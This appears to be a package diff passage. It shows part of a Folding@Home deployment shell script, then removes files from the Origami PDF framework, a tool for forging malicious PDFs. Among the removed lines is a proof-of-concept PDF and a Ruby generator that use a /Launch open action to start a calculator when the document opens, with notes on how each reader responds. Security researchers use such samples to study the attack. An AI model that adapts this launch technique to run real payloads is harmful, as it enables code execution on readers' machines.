root@${MACHINES}:~/.origami/${MACHINES}-$(date +%F).tar.bz2 ~/.origami/ + done + +exit 0 +} # + +function origami_local_restore { # + +origami_root_check + + if [[ ! -x /etc/init.d/origami && ! -d /var/lib/origami ]]; then + origami_show_error 'ORIGAMI DOES NOT APPEAR TO BE INSTALLED.' + fi + + # stopping, restoring and restarting the service + echo "stopping the local service" + /etc/init.d/origami stop &>/dev/null || origami_show_error 'UNABLE TO STOP LOCAL SERVICE!' + echo "restoring local archive" + tar -C / -xf ~/.origami/$(hostname)-*.tar.bz2 &>/dev/null || origami_show_error 'UNABLE TO RESTORE LOCAL ORIGAMI DATA!' + echo "restarting local service" + /etc/init.d/origami start &>/dev/null || origami_show_error 'UNABLE TO START LOCAL SERVICE!' + +exit 0 +} # + +function origami_network_restore { # + +origami_root_check + + if [[ ! -d ~/.origami/ || ! -f ~/.origamirc ]]; then + origami_show_error '~/.origamirc IS REQUIRED FOR NETWORK RESTORATION.' + fi + + # dumping out the list of machines from the ~/.origamirc + for MACHINES in $(ls ~/.origami/ | cut -d- -f1) + do + echo "stopping origami service on ${MACHINES}..." + ssh ${SSHOPTS} root@${MACHINES} "/etc/init.d/origami stop &>/dev/null || echo 'UNABLE TO STOP REMOTE SERVICE.'" + + # added removal of remote archive + echo "restoring origami data on ${MACHINES}..." + scp -q ~/.origami/${MACHINES}-*.tar.bz2 root@${MACHINES}:~ + ssh ${SSHOPTS} root@${MACHINES} "tar -C / -xf ~/${MACHINES}-*.tar.bz2 &>/dev/null || echo 'UNABLE TO RESTORE ORIGAMI DATA!'" + ssh ${SSHOPTS} root@${MACHINES} "rm ~/${MACHINES}-$(date +%F).tar.bz2 &>/dev/null" + + echo "restarting origami service on ${MACHINES}..." + ssh ${SSHOPTS} root@${MACHINES} "/etc/init.d/origami start &>/dev/null || echo 'UNABLE TO START REMOTE SERVICE!'" + done + +exit 0 +} # + +function origami_local_name { # + +origami_root_check + + if [[ ! -x /etc/init.d/origami && ! -d /var/lib/origami ]]; then + origami_show_error 'ORIGAMI DOES NOT APPEAR TO BE INSTALLED.' + fi + + origamihome=$(awk -F: '/origami/{print $6}' /etc/passwd 2>/dev/null) + + if [[ -z "${ORIGAMIUSER}" || -z "${ORIGAMITEAM}" ]]; then + origami_show_error 'RENAMING REQUIRES USERNAME AND TEAM AS COMMAND ARGUMENTS.' + fi + + for CONFIG in $(ls -d ${origamihome}/foldingathome/CPU*/); do + sed -i "s/username=Anonymous/username="${ORIGAMIUSER}"/g" ${CONFIG}/client.cfg + sed -i "s/team=0/team="${ORIGAMITEAM}"/g" ${CONFIG}/client.cfg + done + echo "The client.cfg has been updated with your new information. A backup has been made." + + # safely deleting auto-regenerated .html file for progress updates + # this fixes bug #175460 + for myorigami in $(ls ${origamihome}/foldingathome/CPU*/MyFolding.html); do + rm ${myorigami} &>/dev/null || origami_show_error 'MyFolding.html RETAINING OLD INFORMATION' + done + + # restarting init.d script + echo "Restarting the origami service with your changes." + /etc/init.d/origami restart &>/dev/null || origami_show_error 'UNABLE TO RESTART LOCAL SERVICE!' + +exit 0 +} # + +function origami_proxy { # + +origami_root_check + + if [[ ! -x /etc/init.d/origami && ! -d /var/lib/origami ]]; then + origami_show_error 'ORIGAMI DOES NOT APPEAR TO BE INSTALLED.' + fi + + origamihome=$(awk -F: '/origami/{print $6}' /etc/passwd 2>/dev/null) + + if [[ -z "${PORT}" || -z "${HOST}" ]]; then + origami_show_error 'PROXY REQUIRES PORT AND HOST AS COMMAND ARGUMENTS.' + fi + + for CONFIG in $(ls -d ${origamihome}/foldingathome/CPU*/); do + sed -i "s/active=no/active=yes/g" ${CONFIG}/client.cfg + sed -i "s/host=localhost/host=${HOST}/g" ${CONFIG}/client.cfg + sed -i "s/port=8080/port=${PORT}/g" ${CONFIG}/client.cfg + done + + # restarting init.d script + echo "Restarting the origami service with your changes." + /etc/init.d/origami restart &>/dev/null || origami_show_error 'UNABLE TO RESTART LOCAL SERVICE!' + +} # + +function origami_network_name { # + +origami_root_check + + # making sure the config file exists for network archiving + if [ ! -f ~/.origamirc ]; then + origami_show_error 'NETWORK RENAMING REQUIRES THE ~/.origamirc CONFIG!' + fi + + # dumping out the list of IPs from the ~/.origamirc + for MACHINES in $(grep -v "#" ~/.origamirc) + do + echo "updating information on ${MACHINES}..." + ssh ${SSHOPTS} root@${MACHINES} "origami name -u "$ORIGAMIUSER" -t "$ORIGAMITEAM" || echo 'UNABLE TO UPDATE INFORMATION!'" + done + +exit 0 + +} # + +function origami_version { # + echo + echo "Origami Version: $VERSION" + echo + +exit 0 +} # + +function origami_usage { # +cat << EOF +Usage: $0 [OPTION] +Install Stanfords Folding @ Home client to a single machine or network of machines. +Options: + install install to the local machine + (use 'install -u USERNAME -t TEAM' to automate naming) + + deploy deploy to machines over a network + (root access via ssh required for network deployment.) + (machines to be deployed read from ~/.origamirc.) + (takes resolvable hostnames or IP addresses one per line.) + (use 'deploy -u USERNAME -t TEAM' to automate naming) + + archive archive and collect data from local machine + + network-archive archive and collect data from networked machines + (same configuration and requirements as deploy above) + (-u USERNAME -t TEAM not required for network-archive) + + restore restore collected origami data for local machine + + network-restore restore collected origami data for networked machines + (root access via ssh required for network restoration.) + (currently reads hostnames from archives and restores archives) + (to the machines they came from. TODO: specifying the date if) + (there are multiple archives available in ~/.origami) + + erase erase local data and uninstall + (this will remove all data - USE WITH CAUTION) + + name change the user and team + (this will change what user or team get credit for work done) + (syntax is 'name -u USERNAME -t TEAMNAME') + + proxy update the network information for use with a proxy + (syntax is 'proxy -P port -H hostname') + + network-name change the user and team for networked machines + (root access via ssh required for network renaming.) + (machines to be renamed read from the ~/.origamirc.) + (takes resolvable hostnames or IP addresses one per line.) + (use 'network-name -u USERNAME -t TEAMNAME') + + monitor monitor the progress of your current assigned work unit(s) + + network-monitor monitor the progress of networked machines + + status monitor the progress of your current assigned work unit(s) + + network-status monitor the progress of networked machines + + start start the local origami client + + network-start start origami service on networked machines + (machines read from ~/.origamirc) + + stop stop the local origami client + + network-stop stop origami service on networked machines + (machines read from ~/.origamirc) + + version display origami version and exit + + help display this help and exit + +Originally created by Christer Edwards . +This application released under the GPLv2 (see copyright) + +Report bugs to http://origami.zelut.org/flyspray/ + +EOF + +exit 0 +} # + +function origami_create_config { # + +origami_root_check + +# creating config file +if ([ -w client.cfg ] && ! grep -qs 'username=' client.cfg ); then + origami_show_error 'client.cfg has unexpected contents. please check.' +else +cat << EOF > /var/lib/origami/client.cfg +[settings] +username=Anonymous +team=0 +asknet=no +machineid=1 +bigpackets=normal +passkey= + +[http] +active=no +host=localhost +port=8080 + +[core] +priority=0 + +[clienttype] +type=0 +EOF + +fi +} # + +function origami_create_cron { # + +origami_root_check + +# creating cron entry +if [ $CRON == "1" ]; then +cat << EOF > /var/lib/origami/origami.cron +# uncomment the cron entries below to automate starting and stopping the +# origami service during business hours + +0 8 * * * /etc/init.d/origami stop &>/dev/null +0 17 * * * /etc/init.d/origami start &>/dev/null +EOF +else +cat << EOF > /var/lib/origami/origami.cron +# uncomment the cron entries below to automate starting and stopping the +# origami service during business hours + +#0 8 * * * /etc/init.d/origami stop &>/dev/null +#0 17 * * * /etc/init.d/origami start &>/dev/null +EOF +fi + +# importing and activating the created cron listings +# removing it once its been imported into the cron system +crontab -u origami /var/lib/origami/origami.cron &>/dev/null +rm /var/lib/origami/origami.cron || origami_show_warning 'UNABLE TO DELETE INITIAL CRON FILE' + +} # + +function origami_root_check { # +if [ $(id -u) -ne 0 ]; then + echo "origami: Permission Denied" 1>&2 + echo "Try: sudo origami start" 1>&2 + exit 1 +fi +} # + +function origami_sanity_checks { # + +if [[ ! -x $(which wget) && ! -x $(which curl) ]]; then + echo "###############################################" 1>&2 + echo "# wget or curl are required to run origami #" 1>&2 + echo "###############################################" 1>&2 + exit 1 +fi + +# this is used often enough, lets define it centrally +SSHOPTS="-4 -o StrictHostKeyChecking=no" + +# define some default variables used by the installer +ORIGAMIUSER=Anonymous +PASSKEY= +SIZE=normal +ORIGAMITEAM=0 +PROCESSOR=i386 +CRON=0 +PORT=8080 +HOST=localhost +COREPRIORITY=idle + +VERSION='0.7.4' + +} # + +function origami_show_error { # + echo "ERROR: $*" 1>&2 + exit 1 +} # + +function origami_show_warning { # + echo "WARNING: $*" 1>&2 +} # + +function origami_configure { + +origami_root_check + + origamihome=$(awk -F: '/origami/{print $6}' /etc/passwd) + + if [[ -x /var/lib/origami/foldingathome/fah6 ]]; then + for CONFIG in $(ls -d ${origamihome}/foldingathome/CPU*/); do + pushd ${CONFIG} &>/dev/null + /var/lib/origami/foldingathome/fah6 -configonly + echo + echo "CONFIGURATION UPDATED." + popd &>/dev/null + done + else + origami_show_error 'FOLDING BINARY SEEMS TO BE MISSING. IS ORIGAMI INSTALLED?' + fi + +exit 0 +} + +function origami_local_monitor { # + origamihome=$(awk -F: '/origami/{print $6}' /etc/passwd) + + if [[ ! -x /etc/init.d/origami && ! -x /etc/rc.d/origami && ! -r ${origamihome}/foldingathome/CPU*/unitinfo.txt ]]; then + origami_show_error 'ORIGAMI DOES NOT APPEAR TO BE INSTALLED.' + fi + + echo "#########################################" + echo "current status of origami on $(hostname)" + echo "#########################################" + if [ -e /etc/arch-release ]; then + /etc/rc.d/origami status | grep 'Status of FAH client(s):' || origami_show_error 'UNABLE TO GET LOCAL STATUS' + else + /etc/init.d/origami status | grep 'Status of FAH client(s):' || origami_show_error 'UNABLE TO GET LOCAL STATUS' + fi + echo + # this gathers the username, team and completed units from all processors and puts it in a file + for CONFIG in $(ls -d ${origamihome}/foldingathome/CPU*/); do + NUM=$(echo "${CONFIG}" | cut -c35 -) + echo "Your Username: $(grep 'username=' ${CONFIG}/client.cfg | cut -d= -f2)" >> /tmp/origami-status + echo "Your Team: $(grep 'team=' ${CONFIG}/client.cfg | cut -d= -f2)" >> /tmp/origami-status + echo "Completed WU on CPU #${NUM}: $(grep 'local=' ${CONFIG}/client.cfg | cut -d= -f2)" >> /tmp/origami-status + done + # this reads the file, and shows only unique lines + # this facilitates different usernames, teams or completed units to be reported + # on a per-processor basis. + cat /tmp/origami-status | sort | uniq + + for CONFIG in $(ls -d ${origamihome}/foldingathome/CPU*/); do + ORIGAMIUSER=$(grep 'username=' ${CONFIG}/client.cfg | cut -d= -f2) + ORIGAMITEAM=$(grep 'team=' ${CONFIG}/client.cfg | cut -d= -f2) + done + echo + echo "User ranking URL:" + echo "http://kakaostats.com/t.php?filter=active&col=2&t="${ORIGAMITEAM}"&search_text="${ORIGAMIUSER}"" + # we delete the file after we've reported the results so the next time we monitor + # we've started fresh + rm /tmp/origami-status &>/dev/null + echo + + for CONFIG in $(ls -d "${origamihome}"/foldingathome/CPU*/); do + if [ -r "${CONFIG}"/unitinfo.txt ]; then + cat "${CONFIG}"/unitinfo.txt + echo + else + echo "No work units have been assigned yet. Please check status again later." + fi + done + +exit 0 +} # + +function origami_network_monitor { # + + # making sure the config file exists for network archiving + if [ ! -f ~/.origamirc ]; then + origami_show_error 'NETWORK MONITORING REQUIRES THE ~/.origamirc CONFIG!' + fi + + # dumping out the list of IPs from the ~/.origamirc + for MACHINES in $(grep -v "#" ~/.origamirc) + do + ssh ${SSHOPTS} ${MACHINES} "origami monitor" + done + +exit 0 +} # + +function origami_armageddon { # + +origami_root_check + + # making sure the config file exists for network archiving + if [ ! -f ~/.origamirc ]; then + origami_show_error '~/.origamirc DOES NOT EXIST. SIMPLY USE origami erase FOR LOCAL-ONLY REMOVAL' + fi + + # dumping out the list of IPs from the ~/.origamirc + for MACHINES in $(grep -v "#" ~/.origamirc) + do + # added verification before accidentally destroying the world. + echo + clear + read -t 10 -p "THIS WILL DESTROY ORIGAMI ON "${MACHINES}". Continue? (y/N): " ARMAGEDDON + ARMAGEDDON_INPUT=$(echo ${ARMAGEDDON} | tr [A-Z] [a-z]) + if [[ "${ARMAGEDDON_INPUT}" != "y" && ${ARMAGEDDON_INPUT} != "yes" ]]; then + echo "SAFELY ABORTING WORLD DESTRUCTION" + exit 1 + else + echo "stopping origami service on ${MACHINES}..." + ssh ${SSHOPTS} root@${MACHINES} "/etc/init.d/origami stop &>/dev/null || echo 'UNABLE TO STOP REMOTE SERVICE'" + + echo "ERASING ALL DATA AND PROGRESS ON ${MACHINES}..." + ssh ${SSHOPTS} root@${MACHINES} "crontab -u origami -r &>/dev/null || echo 'UNABLE TO REMOVE REMOTE CRON'" + ssh ${SSHOPTS} root@${MACHINES} "origami erase; rm -f $(which origami) &>/dev/null || echo 'UNABLE TO UNINSTALL ON ${MACHINES}'" + fi + done + +exit 0 +} # + +function origami_stop { # + +origami_root_check + + if [[ ! -x /etc/init.d/origami && ! -x /etc/rc.d/origami && ! -d /var/lib/origami ]]; then + origami_show_error 'ORIGAMI DOES NOT APPEAR TO BE INSTALLED.' + fi + + # stopping local service + echo "stopping origami..." + if [ -e /etc/arch-release ]; then + /etc/rc.d/origami stop &>/dev/null || origami_show_error 'UNABLE TO STOP LOCAL SERVICE.' + else + /etc/init.d/origami stop &>/dev/null || origami_show_error 'UNABLE TO STOP LOCAL SERVICE.' + fi + +exit 0 +} + +function origami_network_stop { # + +origami_root_check + + # making sure the config file exists for network archiving + if [ ! -f ~/.origamirc ]; then + origami_show_error '~/.origamirc CONFIG FILE DOES NOT EXIST.' + fi + + # dumping out the list of IPs from the ~/.origamirc + for MACHINES in $(grep -v "#" ~/.origamirc) + do + echo "stopping origami service on ${MACHINES}..." + ssh ${SSHOPTS} root@${MACHINES} "/etc/init.d/origami stop &>/dev/null || echo 'UNABLE TO STOP REMOTE SERVICE'" + + done + +exit 0 +} + +function origami_start { + +origami_root_check + + if [[ ! -x /etc/init.d/origami && ! -x /etc/rc.d/origami && ! -d /var/lib/origami ]]; then + origami_show_error 'ORIGAMI DOES NOT APPEAR TO BE INSTALLED.' + fi + + # starting the local service + if [ -e /etc/arch-release ]; then + /etc/rc.d/origami status &>/dev/null + else + /etc/init.d/origami status &>/dev/null + fi + + if [ $? == 0 ]; then + echo "origami is already running..." + elif [ $? == 1 ]; then + echo "starting origami..." + if [ -e /etc/arch-release ]; then + /etc/rc.d/origami start &>/dev/null || origami_show_error 'UNABLE TO START LOCAL SERVICE.' + else + /etc/init.d/origami start &>/dev/null || origami_show_error 'UNABLE TO START LOCAL SERVICE.' + fi + fi + + +exit 0 +} + +function origami_stats { + + ORIGAMIUSER=$(grep 'username=' /var/lib/origami/foldingathome/CPU1/client.cfg | cut -d= -f2) + ORIGAMITEAM=$(grep 'team=' /var/lib/origami/foldingathome/CPU1/client.cfg | cut -d= -f2) + + URL="http://folding.extremeoverclocking.com/xml/user_summary.php?un=${ORIGAMIUSER}&t=${ORIGAMITEAM}" + + ## if stats are more than three hours old, remove and update + if [[ ! -e /tmp/origami-stats || $(find /tmp -type f -mmin +180 -iname "origami-stats" 2>/dev/null) ]]; then + rm -f /tmp/origami-stats &>/dev/null + wget -q -O /tmp/origami-stats "${URL}" || origami_show_error 'UNABLE TO ACCESS STATS. CHECK INTERNET CONNECTION AND TRY AGAIN.' + fi + + ## TEAM STATS + TEAMNAME=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1) + TEAMID=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1) + TEAMRANK=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1) + TEAMUSERS_ACTIVE=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1) + TEAMUSERS=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1) + TEAMCHANGE_RANK_24HR=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | head -n1) + TEAMCHANGE_RANK_7DAYS=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | head -n1) + TEAMPOINTS_24HR_AVG=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | head -n1) + TEAMPOINTS_UPDATE=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | head -n1) + TEAMPOINTS_TODAY=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | head -n1) + TEAMPOINTS_WEEK=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | head -n1) + TEAMPOINTS=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | head -n1) + TEAMWUS=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | head -n1) + + USERNAME=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1) + USERID=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1) + USERRANK=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1) + USEROVERALL_RANK=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1) + USERCHANGE_RANK_24HR=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | tail -n1) + USERCHANGE_RANK_7DAYS=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | tail -n1) + USERPOINTS_24HR_AVG=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | tail -n1) + USERPOINTS_UPDATE=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | tail -n1) + USERPOINTS_TODAY=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | tail -n1) + USERPOINTS_WEEK=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | tail -n1) + USERPOINTS=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | tail -n1) + USERWUS=$(grep "" /tmp/origami-stats | cut -d'>' -f2 | cut -d'<' -f1 | tail -n1) + + echo + echo -e "Team Name:\t\t ${TEAMNAME}" + echo -e "Team ID:\t\t ${TEAMID}" + echo -e "Team Rank:\t\t ${TEAMRANK}" + echo -e "Active Team Members:\t ${TEAMUSERS_ACTIVE}" + echo -e "Total Team Members:\t ${TEAMUSERS}" + echo -e "24Hr Rank Change:\t ${TEAMCHANGE_RANK_24HR}" + echo -e "7 Day Rank Change:\t ${TEAMCHANGE_RANK_7DAY}" + echo -e "24Hr Point Avg:\t\t ${TEAMPOINTS_24HR_AVG}" + echo -e "Team Points Update:\t ${TEAMPOINTS_UPDATE}" + echo -e "Team Points Today:\t ${TEAMPOINTS_TODAY}" + echo -e "Team Points This Week:\t ${TEAMPOINTS_WEEK}" + echo -e "Total Team Points:\t ${TEAMPOINTS}" + echo -e "Team WU Completed:\t ${TEAMWUS}\n" + + echo -e "User Name:\t\t ${USERNAME}" + echo -e "User ID:\t\t ${USERID}" + echo -e "Team Rank:\t\t ${USERRANK}" + echo -e "User Overall Rank:\t ${USEROVERALL_RANK}" + echo -e "24Hr Rank Change:\t ${USERCHANGE_RANK_24HR}" + echo -e "7 Day Rank Change:\t ${USERCHANGE_RANK_7DAY}" + echo -e "24Hr Point Avg:\t\t ${USERPOINTS_24HR_AVG}" + echo -e "User Points Update:\t ${USERPOINTS_UPDATE}" + echo -e "User Points Today:\t ${USERPOINTS_TODAY}" + echo -e "User Points This Week:\t ${USERPOINTS_WEEK}" + echo -e "Total User Points:\t ${USERPOINTS}" + echo -e "User WU Completed:\t ${USERWUS}\n" + +exit 0 +} + +function origami_network_start { # + +origami_root_check + + # making sure the config file exists for network archiving + if [ ! -f ~/.origamirc ]; then + origami_show_error '~/.origamirc CONFIG FILE DOES NOT EXIST.' + fi + + # dumping out the list of IPs from the ~/.origamirc + for MACHINES in $(grep -v "#" ~/.origamirc) + do + echo "starting origami service on ${MACHINES}..." + ssh ${SSHOPTS} root@${MACHINES} "/etc/init.d/origami start &>/dev/null || echo 'UNABLE TO START REMOTE SERVICE'" + + done + +exit 0 +} + +SIZE=normal +SIZE=$(echo ${SIZE} | tr [A-Z] [a-z]) +if [[ "${SIZE}" != "small" && "${SIZE}" != "normal" && "${SIZE}" != "big" ]]; then + origami_show_error 'SIZE OPTION REQUIRES: small, normal or big' +fi + +# run sanity checks +origami_sanity_checks + +# getopts +TEMP=$(getopt -o hc:C:p:P:H:u:t:s:k:a: --long help,cron:,core:,proc:,port:,host:,user:,team:,size:,key:,adv: -n "$0" -- "$@") + +if [[ $? != 0 || "$TEMP" = ' --' ]]; then + origami_usage +fi + +eval set -- "$TEMP" + +while true ; do + case "$1" in + -h|--help) origami_usage ; shift ;; + -c|--cron) CRON="$2" ; shift ; shift ;; + -C|--core) COREPRIORITY="$2" ; shift ; shift ;; + -p|--proc) PROCESSOR="$2" ; shift ; shift ;; + -P|--port) PORT="$2" ; shift ; shift ;; + -H|--host) HOST="$2" ; shift ; shift ;; + -u|--user) ORIGAMIUSER="$2" ; shift ; shift ;; + -t|--team) ORIGAMITEAM="$2" ; shift ; shift ;; + -s|--size) SIZE="$2" ; shift ; shift ;; + -k|--key) PASSKEY="$2" ; shift ; shift ;; + -a|--adv) ADVMETHODS="$2" ; shift ; shift ;; + --) shift ; break ;; + esac +done + +case "$1" in + install) origami_install ;; + deploy) origami_deploy ;; + erase) origami_erase ;; + configure) origami_configure ;; + armageddon) origami_armageddon ;; + archive) origami_local_archive ;; + network-archive) origami_network_archive ;; + restore) origami_local_restore ;; + network-restore) origami_network_restore ;; + monitor) origami_local_monitor ;; + status) origami_local_monitor ;; + network-monitor) origami_network_monitor ;; + network-status) origami_network_monitor ;; + proxy) origami_proxy ;; + name) origami_local_name ;; + network-name) origami_network_name ;; + start) origami_start ;; + network-start) origami_network_start ;; + stop) origami_stop ;; + network-stop) origami_network_stop ;; + migrate) origami_migrate ;; + version) origami_version ;; + help) origami_usage ;; + stats) origami_stats ;; + *) echo "Invalid Option: $1" ; origami_usage ;; +esac +# + +##################################################################################### +# vim: set fileencoding=utf-8 : -*- coding: utf-8 -*- +# vim: set sw=4 ts=8 sts=4 expandtab autoindent : +################################################################################### diff -Nru origami-1.2.7/Rakefile.rb origami-1.2.7+really0.7.4/Rakefile.rb --- origami-1.2.7/Rakefile.rb 2013-05-14 10:45:23.000000000 +0000 +++ origami-1.2.7+really0.7.4/Rakefile.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,61 +0,0 @@ -# encoding: UTF-8 - -require 'rubygems' -require 'rdoc/task' -require 'rake/testtask' -require 'rubygems/package_task' - -spec = Gem::Specification.new do |s| - s.name = "origami" - s.version = "1.2.6" - s.author = "Guillaume Delugre" - s.email = "guillaume at security-labs dot org" - s.homepage = "http://code.google.com/p/origami-pdf" - s.platform = Gem::Platform::RUBY - - s.summary = "Origami aims at providing a scripting tool to generate and analyze malicious PDF files." - s.description = < [:package] - -Gem::PackageTask.new(spec) do |pkg| - pkg.need_tar = true -end - -desc "Generate rdoc documentation" -Rake::RDocTask.new("rdoc") do |rdoc| - rdoc.rdoc_dir = "doc" - rdoc.title = "Origami" - rdoc.options << "-U" << "-N" - rdoc.options << "-m" << "Origami::PDF" - - rdoc.rdoc_files.include("lib/origami/**/*.rb") -end - -desc "Run the test suite" -Rake::TestTask.new do |t| - t.verbose = true - t.libs << "test" - t.test_files = FileList["test/ts_pdf.rb"] -end - -task :clean do - %x{rm -rf pkg doc} -end diff -Nru origami-1.2.7/README origami-1.2.7+really0.7.4/README --- origami-1.2.7/README 2011-11-03 12:46:15.000000000 +0000 +++ origami-1.2.7+really0.7.4/README 2010-05-24 20:05:57.000000000 +0000 @@ -1,67 +1,22 @@ -NAME +Origami README - origami +Copyright (C) 2007-2010 Christer Edwards -DESCRIPTION +Please send questions, suggestions and bug reports to: - Origami is a framework written in Ruby designed to parse, analyze, and forge - PDF documents. This is not a PDF rendering library, it aims at providing a - scripting tool for generating and analyzing malicious PDF files. As well, it - can be used to create on-the-fly customized PDFs, or to inject evil code into - already existing documents. + * http://origami.zelut.org -VERSION +Origami is licensed under the FreeBSD License. - 1.2 +----- -OPTIONAL DEPENDENCIES +Updated documentation can be found at http://origami.zelut.org/documentation.php - - Ruby-GTK2 (only for GUI), http://ruby-gnome2.sourceforge.jp/ - - Ruby with OpenSSL support - - TheRubyRacer gem (only for JavaScript support) +----- -INSTALL - - Stable: gem install origami - Devel: hg clone https://origami-pdf.googlecode.com/hg/ origami - -DIRECTORIES - - ``lib/`` - Core scripts used to parse a PDF file. All objects and features are - provided here. - - ``samples/`` - Many samples, mostly sorted to generate specially crafted PDFs. - - ``bin/`` - Useful tools based on Origami. - - ``test/`` - Test case units. - -HOMEPAGE - - http://aslr.fr/pages/Origami - -CONTRIBUTORS - - Guillaume Delugré - Author - Frédéric Raynal - Contributor - -LICENSE - - This software is distributed under the LGPL license. - See the COPYING.LESSER file for more details. - - Exception is for the PDF Walker graphical interface located in subdirectory - bin/gui, which is distributed under the GPL license. - See bin/gui/COPYING file for more details. - -NOTES - - It contains many bugs and many incomplete features. If you encounter a - problem, feel free to report it by mail at , with a short explanation of what you did and any necessary PDF - documents. Thanks. +This archive should include the following files: + * origami + * README + * copyright + * changelog diff -Nru origami-1.2.7/samples/actions/launch/calc.pdf origami-1.2.7+really0.7.4/samples/actions/launch/calc.pdf --- origami-1.2.7/samples/actions/launch/calc.pdf 2011-09-14 14:46:34.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/launch/calc.pdf 1970-01-01 00:00:00.000000000 +0000 @@ -1,115 +0,0 @@ -%PDF-1.1 -1 0 obj -<< - /OpenAction << - /F << - /Mac (/Applications/Calculator.app) - /DOS (C:\\\\WINDOWS\\\\system32\\\\calc.exe) - /Unix (/usr/bin/xcalc) - >> - /S /Launch - >> - /Pages 2 0 R - /Type /Catalog ->> -endobj -2 0 obj -<< - /Count 1 - /Kids [ 3 0 R ] - /Type /Pages ->> -endobj -3 0 obj -<< - /MediaBox [ 0 0 795 842 ] - /Parent 2 0 R - /Contents 4 0 R - /Resources << - /Font << - /F1 << - /Name /F1 - /BaseFont /Helvetica - /Subtype /Type1 - /Type /Font - >> - >> - >> - /Type /Page ->> -endobj -4 0 obj -<< - /Length 1259 ->>stream -BT -/F1 30 Tf -350 750 Td -20 TL -1 Tr -(calc.pdf) Tj -ET -BT -/F1 15 Tf -233 690 Td -0 Tr -0.0 0.588235294117647 0.0 rg -(This page is empty but it should start calc :-D) Tj -ET -BT -233 670 Td -0.0 g -(Dont be afraid of the pop-ups, just click them...) Tj -ET -BT -/F1 14 Tf -75 620 Td -2 Tr -(Comments:) Tj -ET -BT -/F1 12 Tf -75 600 Td -0 Tr -(Windows:) Tj -( - Foxit 2: runs calc.exe at the document opening without any user confirmation message \(!\) ) ' -( - Acrobat Reader *:) ' -( 1. popup proposing to open "calc.exe" \(warning\)) ' -( 2. starts "calc.exe") ' -() ' -(Mac:) ' -( - Preview does not support PDF keyword /Launch) ' -( - Acrobat Reader 8.1.2: starts Calculator.app) ' -() ' -(Linux:) ' -( ! Assumes xcalc is in /usr/bin/xcalc) ' -( - poppler: does not support PDF keyword /Launch) ' -( - Acrobat Reader 7: ) ' -( 1. popup telling it can not open "xcalc" \(dumb reasons\)) ' -( 2. popup proposing to open "xcalc" \(warning\)) ' -( 3. starts "xcalc") ' -( - Acrobat Reader 8.1.2: based on xdg-open) ' -( - if you are running KDE, Gnome or xfce, xcalc is started after a popup) ' -( - otherwise, your brower is started and tries to download "xcalc") ' -() ' -(Note:) ' -(For Linux and Mac, no argument can be given to the command...) ' -ET - -endstream -endobj -xref -0 5 -0000000000 65535 f -0000000010 00000 n -0000000234 00000 n -0000000303 00000 n -0000000540 00000 n -trailer -<< - /Root 1 0 R - /Size 5 ->> -startxref -1858 -%%EOF diff -Nru origami-1.2.7/samples/actions/launch/calc.rb origami-1.2.7+really0.7.4/samples/actions/launch/calc.rb --- origami-1.2.7/samples/actions/launch/calc.rb 2011-10-12 15:46:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/samples/actions/launch/calc.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,87 +0,0 @@ -#!/usr/bin/ruby - -begin - require 'origami' -rescue LoadError - ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" - $: << ORIGAMIDIR - require 'origami' -end -include Origami - -OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" - -puts "Generating a pdf launching calc on several OS!!" - -pdf = PDF.new - -#Reader7.0 -#A popup firstly says it cannot open the specified file. Then the -#file is opened once the "Open" button is clicked... - -# Reader8.0 -#It "opens" the file, but does not execute it. By default, it seems -# it is passed to the default browser. -# Only local files can be opened this way. -#If the file does not exist, it displays the content of the current -# directory - -cmd = FileSpec.new -cmd.Unix = "/usr/bin/xcalc" -cmd.Mac = "/Applications/Calculator.app" -cmd.DOS = "C:\\\\WINDOWS\\\\system32\\\\calc.exe" - -action = Action::Launch.new -action.F = cmd - -pdf.onDocumentOpen( action ) - -contents = ContentStream.new -contents.write OUTPUTFILE, - :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 - -contents.write "This page is empty but it should start calc :-D", - :x => 233, :y => 690, :rendering => Text::Rendering::FILL, :size => 15, :color => Graphics::Color::RGB.new(0, 150, 0) - -contents.write "Dont be afraid of the pop-ups, just click them...", - :x => 233, :y => 670, :size => 15 - -contents.write "Comments:", - :x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14 - -content = <<-EOS -Windows: - - Foxit 2: runs calc.exe at the document opening without any user confirmation message (!) - - Acrobat Reader *: - 1. popup proposing to open \"calc.exe\" (warning) - 2. starts \"calc.exe\" - -Mac: - - Preview does not support PDF keyword /Launch - - Acrobat Reader 8.1.2: starts Calculator.app - -Linux: - ! Assumes 